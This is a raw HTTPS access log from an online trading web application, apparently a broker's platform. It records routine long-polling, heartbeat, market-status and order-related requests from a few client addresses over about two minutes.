[09/Jan/2026:15:23:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943700673 HTTP/1.1" -
[09/Jan/2026:15:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943699736 HTTP/1.1" -
[09/Jan/2026:15:23:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943707164 HTTP/1.1" -
[09/Jan/2026:15:23:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943703064 HTTP/1.1" -
[09/Jan/2026:15:23:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943705714 HTTP/1.1" -
[09/Jan/2026:15:23:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943704856 HTTP/1.1" -
[09/Jan/2026:15:23:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943712263 HTTP/1.1" -
[09/Jan/2026:15:23:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943708087 HTTP/1.1" -
[09/Jan/2026:15:24:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943710804 HTTP/1.1" -
[09/Jan/2026:15:24:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943709905 HTTP/1.1" -
[09/Jan/2026:15:24:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943717299 HTTP/1.1" -
[09/Jan/2026:15:24:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943713107 HTTP/1.1" -
[09/Jan/2026:15:24:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943715894 HTTP/1.1" -
[09/Jan/2026:15:24:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943714945 HTTP/1.1" -
[09/Jan/2026:15:24:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:24:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943722381 HTTP/1.1" -
[09/Jan/2026:15:24:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943718156 HTTP/1.1" -
[09/Jan/2026:15:24:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943720075 HTTP/1.1" -
[09/Jan/2026:15:24:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943720936 HTTP/1.1" -
[09/Jan/2026:15:24:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943727479 HTTP/1.1" -
[09/Jan/2026:15:24:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943723195 HTTP/1.1" -
[09/Jan/2026:15:24:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943726287 HTTP/1.1" -
[09/Jan/2026:15:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943725214 HTTP/1.1" -
[09/Jan/2026:15:24:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943732547 HTTP/1.1" -
[09/Jan/2026:15:24:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943728230 HTTP/1.1" -
[09/Jan/2026:15:24:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:24:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943731315 HTTP/1.1" -
[09/Jan/2026:15:24:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943730355 HTTP/1.1" -
[09/Jan/2026:15:24:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943737574 HTTP/1.1" -
[09/Jan/2026:15:24:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943733256 HTTP/1.1" -
[09/Jan/2026:15:24:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:24:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:15:24:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943736369 HTTP/1.1" -
[09/Jan/2026:15:24:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943735485 HTTP/1.1" -
[09/Jan/2026:15:24:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943738305 HTTP/1.1" -
[09/Jan/2026:15:24:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943740583 HTTP/1.1" -
[09/Jan/2026:15:24:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943741476 HTTP/1.1" -
[09/Jan/2026:15:24:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943743327 HTTP/1.1" -
[09/Jan/2026:15:24:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:24:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:24:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:24:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943746673 HTTP/1.1" -
[09/Jan/2026:15:24:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943745656 HTTP/1.1" -
[09/Jan/2026:15:24:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943748373 HTTP/1.1" -
[09/Jan/2026:15:24:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943751730 HTTP/1.1" -
[09/Jan/2026:15:24:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943750854 HTTP/1.1" -
[09/Jan/2026:15:24:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943753397 HTTP/1.1" -
[09/Jan/2026:15:24:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943756767 HTTP/1.1" -
[09/Jan/2026:15:24:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943755985 HTTP/1.1" -
[09/Jan/2026:15:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943758440 HTTP/1.1" -
[09/Jan/2026:15:24:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:24:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943761859 HTTP/1.1" -
[09/Jan/2026:15:24:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943761125 HTTP/1.1" -
[09/Jan/2026:15:24:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943763475 HTTP/1.1" -
[09/Jan/2026:15:24:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:24:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943766883 HTTP/1.1" -
[09/Jan/2026:15:24:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943766279 HTTP/1.1" -
[09/Jan/2026:15:24:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:24:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:24:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943768593 HTTP/1.1" -
[09/Jan/2026:15:25:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943771968 HTTP/1.1" -
[09/Jan/2026:15:25:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943771347 HTTP/1.1" -
[09/Jan/2026:15:25:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:25:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943773614 HTTP/1.1" -
[09/Jan/2026:15:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:25:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:25:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943777042 HTTP/1.1" -
